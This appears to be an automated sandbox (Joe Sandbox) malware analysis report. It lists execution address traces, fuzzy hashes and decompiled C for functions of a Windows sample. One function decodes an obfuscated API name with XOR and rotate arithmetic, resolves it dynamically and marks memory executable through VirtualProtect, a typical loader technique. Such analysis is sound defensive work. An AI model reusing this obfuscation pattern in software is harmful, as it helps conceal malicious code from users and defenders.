0x0042fbdd
0x0042fbe0
0x0042fbe5
0x0042fbe8
0x0042fbea
0x0042fbed
0x0042fbef
0x0042fbf2
0x0042fbf5
0x0042fbf5
0x0042fbf8
0x0042fbfb
0x0042fc02
0x0042fc05
0x0042fc05
0x00000000
0x0042fbd7
0x00000000
0x00000000
0x0042f53b
0x0042f53e
0x0042f547
0x0042f554
0x0042f55f
0x0042f564
0x0042f56a
0x00000000
0x0042f56c
0x0042f56c
0x0042f572
0x00000000
0x0042f574
0x0042f577
0x0042f57d
0x00000000
0x00000000
0x00000000
0x00000000
0x0042f57d
0x0042f572
0x00000000
0x00000000
0x0042fcb3
0x0042fcb3
0x0042fcb6
0x0042fcb9
0x00000000
0x0042fcbf
0x0042fcbf
0x0042fcc1
0x0042fcc4
0x0042fcc7
0x0042fcca
0x0042fccd
0x0042fcd4
0x0042fcda
0x0042fce1
0x0042fce1
0x00000000
0x00000000
0x0042fb1a
0x0042fb1a
0x0042fb1d
0x0042fb20
0x00000000
0x0042fb26
0x0042fb26
0x0042fb28
0x0042fb2b
0x0042fb2e
0x0042fb31
0x0042fb34
0x0042fb3b
0x0042fb41
0x0042fb48
0x0042fb48
0x00000000
0x00000000
0x0042fae3
0x0042fae3
0x0042fae6
0x0042fae9
0x00000000
0x0042faef
0x0042faef
0x0042faf1
0x0042faf4
0x0042faf7
0x0042fafa
0x0042fb01
0x0042fb04
0x0042fb0a
0x0042fb11
0x00000000
0x0042fb11
0x00000000
0x00000000
0x0042faac
0x0042faac
0x0042faaf
0x0042fab2
0x004c5360
0x004c5368
0x004c536d
0x004c536f
0x004c536f
0x004c5377
0x004c537c
0x00000000
0x0042fab8
0x0042fab8
0x0042faba
0x0042fabd
0x0042fac0
0x0042fac3
0x0042faca
0x0042facd
0x0042fad3
0x0042fada
0x00000000
0x0042fada
0x00000000
0x00000000
0x0042fc45
0x0042fc45
0x0042fc48
0x0042fc4b
0x00000000
0x0042fc51
0x0042fc51
0x0042fc53
0x0042fc56
0x0042fc59
0x0042fc5c
0x0042fc63
0x0042fc66
0x0042fc6c
0x0042fc73
0x00000000
0x0042fc73
0x00000000
0x00000000
0x0042fc0e
0x0042fc0e
0x0042fc11
0x0042fc14
0x00000000
0x0042fc1a
0x0042fc1a
0x0042fc1c
0x0042fc1f
0x0042fc22
0x0042fc25
0x0042fc2c
0x0042fc2f
0x0042fc35
0x0042fc3c
0x00000000
0x0042fc3c
0x00000000
0x00000000
0x0042fc7c
0x0042fc7c
0x0042fc7f
0x0042fc82
0x004c537e
0x004c537e
0x004c5386
0x004c538b
0x004c538d
0x004c538d
0x004c5395
0x004c539a
0x004c539c
0x004c539c
0x004c53a4
0x004c53a9
0x00000000
0x0042fc88
0x0042fc88
0x0042fc8a
0x0042fc8d
0x0042fc90
0x0042fc93
0x0042fc9a
0x0042fc9d
0x0042fca3
0x0042fcaa
0x00000000
0x0042fcaa
0x00000000
0x00000000
0x0042fa75
0x0042fa75
0x0042fa78
0x0042fa7b
0x00000000
0x0042fa81
0x0042fa81
0x0042fa83
0x0042fa86
0x0042fa89
0x0042fa8c
0x0042fa93
0x0042fa96
0x0042fa9c
0x0042faa3
0x00000000
0x0042faa3
0x00000000
0x00000000
0x0042fb54
0x0042fb54
0x0042fb56
0x0042fb5b
0x0042fb62
0x0042fb67
0x0042fb69
0x0042fb6b
0x0042fb70
0x00000000
0x00000000
0x0042fa3e
0x0042fa3e
0x0042fa41
0x0042fa44
0x004c53ab
0x004c53ab
0x004c53b3
0x004c53b8
0x004c53ba
0x004c53ba
0x004c53c2
0x004c53c7
0x004c53c9
0x004c53c9
0x004c53d3
0x004c53d5
0x004c53d5
0x004c53dd
0x004c53e2
0x004c53e4
0x004c53e4
0x004c53e7
0x004c53ea
0x004c53ec
0x004c53ec
0x004c53f1
0x004c53f8
0x004c53f8
0x004c53fb
0x004c53fe
0x004c5400
0x004c5400
0x004c5405
0x004c5410
0x004c5413
0x004c5418
0x004c541a
0x004c5464
0x004c5464
0x004c541c
0x004c5423
0x004c542d
0x004c5432
0x004c5437
0x004c5439
0x004c546b
0x004c5475
0x004c543b
0x004c543b
0x004c5440
0x004c5446
0x004c5446
0x004c5454
0x004c5459
0x004c545c
0x0042fa4a
0x0042fa4a
0x0042fa4c
0x0042fa4f
0x0042fa52
0x0042fa55
0x0042fa5c
0x0042fa5f
0x0042fa65
0x0042fa6c
0x0042f585
0x0042f58c
0x0042f58c
0x00000000
0x00000000
0x0042f9f0
0x0042f9f0
0x0042f9f4
0x0042fde3
0x0042fde6
0x0042fde9
0x0042fdf0
0x0042fdf2
0x0042fdf5
0x0042fdfa
0x0042fdfd
0x0042f9fa
0x0042f9fa
0x0042fa01
0x0042fa01
0x0042fa03
0x0042fa05
0x00000000
0x0042fa0b
0x0042fa0b
0x0042fa0e
0x0042fa11
0x00000000
0x0042fa17
0x0042fa1a
0x0042fa1d
0x0042fa1f
0x0042fa24
0x0042fa26
0x0042fa2b
0x0042fa2e
0x0042fa30
0x0042fa35
0x0042f620
0x0042f620
0x0042f622
0x00000000
0x0042f628
0x0042f628
0x0042f628
0x0042f628
0x0042f62b
0x0042f62e
0x00000000
0x0042f634
0x0042f637
0x0042f63a
0x0042f63a
0x0042f641
0x0042f64b
0x0042f64b
0x0042f62e
0x0042f622
0x0042fa11
0x00000000
0x00000000
0x0042f534
0x0042f52f
0x00000000

Strings

TB, xrefs: 0042F5DE, 0042F628

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID:
String ID: TB
API String ID: 0-2182514204
Opcode ID: 0a5688e49a59cd17ecc4713222aac99a31cb1c0e4bca58cbc2fbbcb539774138
Instruction ID: 33182f461a2a5fd46551cfd5708bcab9acbb474e0b007db80fa7fbd9a3889c04
Opcode Fuzzy Hash: 0a5688e49a59cd17ecc4713222aac99a31cb1c0e4bca58cbc2fbbcb539774138
Instruction Fuzzy Hash: 3DF153B0B042119FC7009F2AE48031AB7F1AF48318FD5897EE8999B346D77DD8468F99

Uniqueness

Uniqueness Score: -1.00%

Function 00448B90 Relevance: 1.4, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 30%

			E00448B90(void* __eax, void* __ebx, signed int __edi, void* __esi) {
				void* _t10;
				void _t11;
				void* _t13;
				void* _t15;
				signed int* _t17;
				void* _t18;
				void* _t21;
				void* _t24;
				signed int _t26;
				signed int* _t28;
				signed int _t33;
				void* _t36;
				signed int* _t38;
				signed int _t39;
				signed int _t43;
				void* _t45;
				void* _t46;
				void* _t47;

				_t41 = __esi;
				_t39 = __edi;
				_push(__edi);
				_push(__esi);
				_t23 = __eax;
				_t46 = _t45 - 0x10;
				_t36 =  *0x500634; // 0x2
				if(_t36 != 0) {
					 *_t46 = 0x500918;
					_t10 = L00438AB0(__eflags);
					__eflags = _t10;
					if(_t10 != 0) {
						_t11 = E0044A4D0();
						_t37 = _t36 + 1;
						__eflags = _t36 + 1;
						 *_t46 = _t11;
						if(_t36 + 1 == 0) {
							L004C36D0();
						}
						E0043B0B0(_t11, _t23, _t37, _t39, _t41);
						_t47 = _t46 - 0x1c;
						_t13 =  *0x500634; // 0x2
						__eflags = _t13;
						if(_t13 != 0) {
							 *_t47 = 0x500918;
							L00438A50();
						}
						 *_t47 = 0x4a00;
						 *0x500928 = 0x4a00; // executed
						_t15 = malloc(??); // executed
						 *0x500924 = _t15;
						__eflags = _t15;
						if(_t15 == 0) {
							 *0x500928 = 0;
							 *0x500920 = 0;
						} else {
							 *0x500920 = _t15;
							 *_t15 = 0x4a00;
							 *(_t15 + 4) = 0;
						}
						 *_t47 = 0x4c4320;
						return E004014C0();
					} else {
						_t24 = _t23 + 0x10;
						_t38 =  *0x500920; // 0xe72410
						__eflags = _t24 - 8;
						_t25 =  <  ? 8 : _t24;
						_t33 = ( <  ? 8 : _t24) + 0x0000000f & 0xfffffff0;
						__eflags = _t38;
						if(_t38 != 0) {
							goto L2;
						} else {
							goto L7;
						}
						goto L8;
					}
				} else {
					_t38 =  *0x500920; // 0xe72410
					_t30 =  <  ? 8 : __eax + 0x10;
					_t33 = ( <  ? 8 : __eax + 0x10) + 0x0000000f & 0xfffffff0;
					if(_t38 == 0) {
						_t26 = 0;
					} else {
						L2:
						_t26 =  *_t38;
						if(_t33 > _t26) {
							while(1) {
								_t17 = _t38[1];
								__eflags = _t17;
								if(_t17 == 0) {
									break;
								}
								_t26 =  *_t17;
								__eflags = _t26 - _t33;
								if(_t26 >= _t33) {
									_t38 =  &(_t38[1]);
									__eflags = _t38;
									goto L10;
								} else {
									_t38 = _t17;
									continue;
								}
								goto L8;
							}
							L7:
							_t21 =  *0x500634; // 0x2
							_t26 = 0;
							__eflags = _t21;
							if(_t21 != 0) {
								goto L13;
							}
						} else {
							_t17 = _t38;
							_t38 = 0x500920;
							L10:
							_t39 = _t17[1];
							_t43 = _t26 - _t33;
							if(_t43 <= 7) {
								L15:
								 *_t17 = _t26;
								 *_t38 = _t39;
							} else {
								_t28 = _t17 + _t33;
								_t28[1] = _t39;
								_t17 =  *_t38;
								 *_t28 = _t43;
								 *_t17 = _t33;
								 *_t38 = _t28;
							}
							_t6 =  &(_t17[4]); // 0x10
							_t26 = _t6;
							_t18 =  *0x500634; // 0x2
							if(_t18 != 0) {
								L13:
								 *_t46 = 0x500918;
								if(L00438B10() != 0) {
									_t17 = E0044A500();
									goto L15;
								}
							}
						}
					}
					L8:
					return _t26;
				}
			}

0x00448b90
0x00448b90
0x00448b90
0x00448b91
0x00448b93
0x00448b95
0x00448b98
0x00448ba0
0x00448c50
0x00448c57
0x00448c5c
0x00448c5e
0x00448c9a
0x004c53f8
0x004c53f8
0x004c53fb
0x004c53fe
0x004c5400
0x004c5400
0x004c5405
0x004c5410
0x004c5413
0x004c5418
0x004c541a
0x004c545d
0x004c5464
0x004c5464
0x004c541c
0x004c5423
0x004c542d
0x004c5432
0x004c5437
0x004c5439
0x004c546b
0x004c5475
0x004c543b
0x004c543b
0x004c5440
0x004c5446
0x004c5446
0x004c544d
0x004c545c
0x00448c60
0x00448c60
0x00448c68
0x00448c6e
0x00448c71
0x00448c77
0x00448c7a
0x00448c7c
0x00000000
0x00448c82
0x00000000
0x00448c82
0x00000000
0x00448c7c
0x00448ba6
0x00448bae
0x00448bb7
0x00448bbd
0x00448bc2
0x00448c93
0x00448bc8
0x00448bc8
0x00448bc8
0x00448bcc
0x00448bdb
0x00448bdb
0x00448bde
0x00448be0
0x00000000
0x00000000
0x00448bd3
0x00448bd5
0x00448bd7
0x00448c00
0x00448c00
0x00000000
0x00448bd9
0x00448bd9
0x00000000
0x00448bd9
0x00000000
0x00448bd7
0x00448be2
0x00448be2
0x00448be7
0x00448be9
0x00448beb
0x00000000
0x00000000
0x00448bce
0x00448c87
0x00448c89
0x00448c03
0x00448c05
0x00448c08
0x00448c0d
0x00448c40
0x00448c40
0x00448c42
0x00448c0f
0x00448c0f
0x00448c12
0x00448c15
0x00448c17
0x00448c19
0x00448c1b
0x00448c1b
0x00448c1d
0x00448c1d
0x00448c20
0x00448c27
0x00448c29
0x00448c29
0x00448c37
0x00448c39
0x00000000
0x00448c39
0x00448c37
0x00448c27
0x00448bcc
0x00448bed
0x00448bf5
0x00448bf5

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c78595fb99acc69ed816b266ad0b7f224831c2f549ef340a2f5fbd44d82a587
Instruction ID: 54da37edc0816c8e63892260a13e67b03e8cf53b633865b85cfce5b741fde4d1
Opcode Fuzzy Hash: 1c78595fb99acc69ed816b266ad0b7f224831c2f549ef340a2f5fbd44d82a587
Instruction Fuzzy Hash: 9541B2B07053008FF714AF29D8C072EB7E1FBA5304F15556EE5458B392EB7898449BAE

Uniqueness

Uniqueness Score: -1.00%

Function 00401734 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 306
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 19%

			E00401734(char _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28, signed int _a32, signed int _a36, intOrPtr _a40, char* _a44, char _a48, short _a52, intOrPtr _a56, intOrPtr _a60, intOrPtr _a72, intOrPtr _a76, char _a80, intOrPtr _a88, signed int _a92, signed int _a96, char _a104, intOrPtr _a108, intOrPtr _a112, signed int _a116) {
				void* _v12;
				signed int _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				signed int _v29;
				intOrPtr _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v76;
				char _v80;
				intOrPtr _v96;
				intOrPtr _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				char* _v120;
				intOrPtr _v124;
				char _v128;
				short _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				signed int _v152;
				intOrPtr _v156;
				short _v160;
				char _v164;
				intOrPtr _v168;
				intOrPtr _v172;
				signed int _v176;
				signed int _v180;
				char* _v200;
				void* _v208;
				intOrPtr _v224;
				char _v228;
				void* _v232;
				void* __ebx;
				void* __esi;
				signed int _t233;
				struct HINSTANCE__* _t255;
				_Unknown_base(*)()* _t259;
				signed int _t267;
				void* _t298;
				signed int _t317;
				signed int _t327;
				void* _t343;
				intOrPtr* _t344;
				intOrPtr* _t345;
				char** _t346;
				intOrPtr* _t347;
				intOrPtr* _t348;
				void* _t349;
				void* _t350;

				_t344 = _t343 - 0xc0;
				_t317 = _a96;
				_v100 = _a16;
				_v96 = _a20;
				_v108 = _a24;
				_v104 = _a28;
				_v116 = _a32;
				_v112 = _a36;
				_v124 = _a40;
				_v120 = _a44;
				_v128 = _a48;
				_v132 = _a52;
				_v140 = _a56;
				_v136 = _a60;
				_v148 = _a72;
				_v144 = _a76;
				_v156 = _a88;
				_v152 = _a92;
				_v160 = _t317;
				_v164 = _a104;
				_v172 = _a108;
				_v168 = _a112;
				_v13 = 1;
				if((_v13 & 0x000000ff ^ 0x00000001) == 0) {
					_v13 = 0;
				} else {
					_v13 = 0;
				}
				_v13 = 0;
				if((_v13 & 0x000000ff ^ 0x00000001) != 0) {
					_v13 = 0;
				}
				_v14 = 1;
				while(_v14 != 0) {
					_v13 = 0;
					_v14 = 0;
				}
				_v15 = 1;
				while(_v15 != 0) {
					_v13 = 1;
					_v15 = 0;
				}
				_v13 = 1;
				if(_v13 == 0) {
					_v13 = 1;
				} else {
					_v13 = 1;
				}
				_v16 = 1;
				while(_v16 != 0) {
					_v13 = 1;
					_v16 = 0;
				}
				if((_v13 & 0x000000ff ^ 0x00000001) == 0) {
					_v13 = 1;
				} else {
					_v13 = 1;
				}
				_v17 = 1;
				while(_v17 != 0) {
					_v13 = 0;
					_v17 = 0;
				}
				_v18 = 1;
				while(_v18 != 0) {
					_v13 = 1;
					_v18 = 0;
				}
				_v19 = 1;
				while(_v19 != 0) {
					_v13 = 0;
					_v19 = 0;
				}
				_v13 = 0;
				_v20 = 1;
				while(_v20 != 0) {
					_v13 = 1;
					_v20 = 0;
				}
				if((_v13 & 0x000000ff ^ 0x00000001) == 0) {
					_v13 = 1;
				} else {
					_v13 = 1;
				}
				_v128 = _v128 + 0x5a;
				_t233 = _a12 * 0x101c;
				asm("cdq");
				_t298 = _v108 * _t317 + _v104 * _t233 + (_t233 * _v108 >> 0x20);
				_t340 = _v112 * 0x19c + _v116 * 0 + (0x19c * _v116 >> 0x20);
				asm("sbb ebx, edx");
				asm("adc edx, ebx");
				 *_t344 = _v124 + _t233 * _v108 - 0x19c * _v116;
				_v200 = _v120;
				L0048B880(0x501dc0);
				_t345 = _t344 - 8;
				_v28 = 0xfb30264a;
				_v52 = 0xc1;
				_v51 = 0x97;
				_v50 = 0xcb;
				_v49 = 0x88;
				_v48 = 0x5b;
				_v47 = 0x95;
				_v46 = 0xac;
				_v45 = 0x41;
				_v44 = 8;
				_v43 = 0x18;
				_v42 = 0xa5;
				_v41 = 0x92;
				_v40 = 0x92;
				_v39 = 0x48;
				_v38 = 0x68;
				_v24 = 0;
				while(_v24 <= 0xe) {
					_v29 =  *(_v24 +  &_v52) & 0x000000ff;
					_v29 = _v29 ^ 0x00000010;
					_v29 = (_v29 & 0x000000ff) << 0x00000006 | (_v29 & 0x000000ff) >> 0x00000002;
					_v29 = _v29 - 0x2a;
					_v29 = (_v29 & 0x000000ff) << 0x00000005 | (_v29 & 0x000000ff) >> 0x00000003;
					_v29 =  ~_v29;
					_v29 = _v29 ^ 0x00000063;
					_v29 = _v29 - 0x29;
					_v29 = _v29 ^ 0x000000eb;
					_v29 =  ~_v29;
					_v29 = _v29 + _v24;
					_v29 = (_v29 & 0x000000ff) << 0x00000002 | (_v29 & 0x000000ff) >> 0x00000006;
					_v29 = _v29 ^ 0x00000062;
					_v29 = _v29 - 0xe;
					_v29 =  !_v29;
					_v29 = (_v29 & 0x000000ff) << 0x00000007 | (_v29 & 0x000000ff) >> 0x00000001;
					 *((char*)( &_v52 + _v24)) = _v29 & 0x000000ff;
					_v24 = _v24 + 1;
				}
				L004838D0( &_v37);
				_v200 =  &_v37;
				 *_t345 = "kerne";
				L004B29A0( &_v76);
				_t346 = _t345 - 8;
				L00483900( &_v37);
				 *_t346 = "l32.dll";
				E004B3190(_t298,  &_v76, _t340);
				_t347 = _t346 - 4;
				 *_t347 = E00455570( &_v76);
				_t255 = GetModuleHandleA(??);
				_t348 = _t347 - 4;
				_v36 = _t255;
				_v80 = 0;
				 *((intOrPtr*)(_t348 + 4)) =  &_v52;
				 *_t348 = _v36;
				_t259 = GetProcAddress(??, ??);
				_t349 = _t348 - 8;
				 *0x556034 = _t259;
				 *((intOrPtr*)(_t349 + 0xc)) =  &_v80;
				 *((intOrPtr*)(_t349 + 8)) = 0x40;
				_v224 = _a8;
				_v228 = _a4; // executed
				VirtualProtect(??, ??, ??, ??); // executed
				_t350 = _t349 - 0x10;
				_t327 = _v152;
				 *((intOrPtr*)(_t350 + 8)) = _v156;
				 *(_t350 + 0xc) = _t327;
				_v228 = _a80;
				_v224 = 0;
				_v180 = L004386D0() ^ _a116;
				_v176 = _t327 ^ 0x00000000;
				L004B2FC0( &_v76);
				_t267 = _v180;
				return _t267;
			}

0x00401739
0x00401745
0x0040174e
0x00401754
0x0040175a
0x00401760
0x00401766
0x0040176c
0x00401772
0x00401778
0x0040177d
0x00401782
0x00401789
0x00401792
0x0040179b
0x004017a4
0x004017ad
0x004017b6
0x004017be
0x004017c7
0x004017d0
0x004017d9
0x004017df
0x004017ec
0x004017f4
0x004017ee
0x004017ee
0x004017ee
0x004017f8
0x00401805
0x00401807
0x00401807
0x0040180b
0x0040180f
0x00401815
0x00401819
0x00401819
0x0040181f
0x00401823
0x00401829
0x0040182d
0x0040182d
0x00401833
0x0040183b
0x00401843
0x0040183d
0x0040183d
0x0040183d
0x00401847
0x0040184b
0x00401851
0x00401855
0x00401855
0x00401864
0x0040186c
0x00401866
0x00401866
0x00401866
0x00401870
0x00401874
0x0040187a
0x0040187e
0x0040187e
0x00401884
0x00401888
0x0040188e
0x00401892
0x00401892
0x00401898
0x0040189c
0x004018a2
0x004018a6
0x004018a6
0x004018ac
0x004018b0
0x004018b4
0x004018ba
0x004018be
0x004018be
0x004018cd
0x004018d5
0x004018cf
0x004018cf
0x004018cf
0x004018d9
0x004018e0
0x004018e6
0x00401902
0x0040191e
0x00401924
0x0040192e
0x00401930
0x00401933
0x0040193c
0x00401941
0x00401944
0x0040194b
0x0040194f
0x00401953
0x00401957
0x0040195b
0x0040195f
0x00401963
0x00401967
0x0040196b
0x0040196f
0x00401973
0x00401977
0x0040197b
0x0040197f
0x00401983
0x00401987
0x0040198e
0x004019a3
0x004019a6
0x004019bc
0x004019bf
0x004019d5
0x004019d8
0x004019db
0x004019df
0x004019e3
0x004019e7
0x004019ed
0x00401a02
0x00401a05
0x00401a09
0x00401a0d
0x00401a21
0x00401a30
0x00401a32
0x00401a32
0x00401a40
0x00401a4b
0x00401a4f
0x00401a58
0x00401a5d
0x00401a65
0x00401a6d
0x00401a76
0x00401a7b
0x00401a88
0x00401a90
0x00401a92
0x00401a95
0x00401a98
0x00401aa2
0x00401aa9
0x00401ab1
0x00401ab3
0x00401ab6
0x00401ac3
0x00401ac7
0x00401ad2
0x00401ad9
0x00401adc
0x00401ade
0x00401aef
0x00401af5
0x00401af9
0x00401afd
0x00401b00
0x00401b19
0x00401b21
0x00401b2c
0x00401b31
0x00401b71

APIs

VirtualProtect.KERNELBASE ref: 00401ADC

Strings

Z, xrefs: 004018D9
b, xrefs: 00401A05
@, xrefs: 00401AC7
h, xrefs: 00401983
A, xrefs: 00401967
[, xrefs: 0040195B
H, xrefs: 0040197F

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: ProtectVirtual
String ID: @$A$H$Z$[$b$h
API String ID: 544645111-1645330288
Opcode ID: a9087b878aa01acd9b56ac9afc3a8ba05dc451ee7327f2dc0c8dfe1e36503dc6
Instruction ID: 7005f26acd1315412c5a8fbfecf74743dabb44bcacf3188ab54eb59c4835c9f9
Opcode Fuzzy Hash: a9087b878aa01acd9b56ac9afc3a8ba05dc451ee7327f2dc0c8dfe1e36503dc6
Instruction Fuzzy Hash: B4E11C70E083899FDB11DBB8C4447DDBFF1AF1A304F08819AD494B7392D2789A45CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040125C Relevance: 7.6, APIs: 5, Instructions: 91
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 004012E2
strlen.MSVCRT ref: 0040131B
malloc.MSVCRT ref: 00401326
memcpy.MSVCRT ref: 0040133C
_cexit.MSVCRT ref: 004013A8

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: malloc$_cexitmemcpystrlen
String ID:
API String ID: 701060287-0
Opcode ID: 0772dfba8074087c1fa87d2ab2795b3d23421f0b357501f159284d2bec709944
Instruction ID: 088717e0e92fd0c6aa5f7bcc92999f9809da33e620ffbc244ee4b8f116b6b1cf
Opcode Fuzzy Hash: 0772dfba8074087c1fa87d2ab2795b3d23421f0b357501f159284d2bec709944
Instruction Fuzzy Hash: 283175B5A043448FDB20DF69D89465AB7E1FB58315F40882ED948A73B1E339A809DF89

Uniqueness

Uniqueness Score: -1.00%

Function 00401299 Relevance: 7.6, APIs: 5, Instructions: 80
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 004012E2
strlen.MSVCRT ref: 0040131B
malloc.MSVCRT ref: 00401326
memcpy.MSVCRT ref: 0040133C
_cexit.MSVCRT ref: 004013A8

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: malloc$_cexitmemcpystrlen
String ID:
API String ID: 701060287-0
Opcode ID: d60ffc7dc1aca0c44bcd7fae4d99d9d1158c51bf6267700fada0d3baf7497c16
Instruction ID: 2ed458af3d0fa87e69a74195746515b30682afe0878273ae103d683c57cb5e99
Opcode Fuzzy Hash: d60ffc7dc1aca0c44bcd7fae4d99d9d1158c51bf6267700fada0d3baf7497c16
Instruction Fuzzy Hash: FE3176B5A04341CFDB20DF29D89464AB7F1FB58315F50892EE848A73B1E338A809DF85

Uniqueness

Uniqueness Score: -1.00%

Function 00401289 Relevance: 7.6, APIs: 5, Instructions: 77
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 004012E2
strlen.MSVCRT ref: 0040131B
malloc.MSVCRT ref: 00401326
memcpy.MSVCRT ref: 0040133C
_cexit.MSVCRT ref: 004013A8

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
